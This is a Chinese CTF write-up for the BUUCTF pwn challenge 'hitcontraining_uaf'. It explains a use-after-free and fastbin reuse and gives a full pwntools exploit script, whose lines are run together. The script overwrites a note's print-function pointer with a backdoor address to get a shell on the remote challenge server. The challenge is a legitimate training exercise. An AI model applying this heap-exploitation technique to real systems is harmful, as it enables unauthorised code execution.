当前位置: 首页 > web >正文

BUUCTF Pwn hitcontraining_uaf WP

checksec:

32位 只开了NX

IDA32打开:

存在后门函数

查看add函数:

先创建了一个堆用于指向打印函数和内容区域,再创建输入大小的堆

delnote 没有清空指针 存在UAF

想法是创建两个大小相同的堆,然后free掉,这时两个具有打印函数的堆会在同一fastbin链表上;

此时malloc(8),会将该两个堆都申请出来 在malloc时能修改内容,将第一次申请的chunk的打印函数区域修改为目标函数

此时执行打印第一次申请的chunk 就能得到shell

exp:

from pwn import *#p = process('./hacknote')
p = remote("node5.buuoj.cn", 27867)
def add(size, content):p.sendlineafter("Your choice :", str(1))p.sendlineafter("Note size :", str(size))p.sendlineafter("Content :", content)def free(index):p.sendlineafter("Your choice :", str(2))p.sendlineafter("Index :", str(index))def show(index):p.sendlineafter("Your choice :", str(3))p.sendlineafter("Index :", str(index))add(0x20, b'aaaa')
add(0x20, b'aaaa')
free(0)
free(1)add(8, p32(0x08048945))
show(0)
p.interactive()

http://www.xdnf.cn/news/5748.html

相关文章:

  • 学习黑客5分钟深入浅出理解系列之Windows注册表
  • Odoo 18 安全组与访问权限管理指南
  • SQLite 数据库常见问题及解决方法
  • 一般纯软工程学习路径
  • 使用达梦数据库官方管理工具SQLark导入与导出数据库表
  • 解决IDEA无法运行git的问题
  • CVE-2020-1957 漏洞报告
  • 基于MCP的智能体架构设计:实现智能体与外部世界的无缝连接
  • 辣椒青椒幼苗和杂草检测数据集VOC+YOLO格式706张2类别
  • IP协议、以太网包头及UNIX域套接字
  • 在 Java 8 中 常用时间日期类
  • 【Linux系统】自动化构建-make/Makefile的使用
  • AI Agent开发第64课-DIFY和企业现有系统结合实现高可配置的智能零售AI Agent(上)
  • #S4U2SELF#S4U2Proxy#CVE-2021-42278/42287
  • 按指定位置或关键字批量删除工作表-Excel易用宝
  • 关系实验课--笛卡尔积
  • cURL:通过URL传输数据的命令行工具库介绍
  • 请求参数:Header 参数,Body 参数,Path 参数,Query 参数分别是什么意思,什么样的,分别通过哪个注解获取其中的信息
  • 每日算法刷题Day4 5.12:leetcode数组4道题,用时1h
  • zabbix6.4监控主机并触发邮件告警
  • Egg.js知识框架
  • Linux驱动:驱动编译流程了解
  • 向量组的维度是单个向量中元素的个数
  • Vue3的命名规范
  • 从ES5到ES6+:JavaScript语法演进与实现解析
  • 《汽车软件升级通用技术要求》 GB 44496-2024——解读
  • 仿函数和函数对象
  • Java中堆栈
  • vue实现进度条带指针
  • Elasticsearch 字段映射与数据类型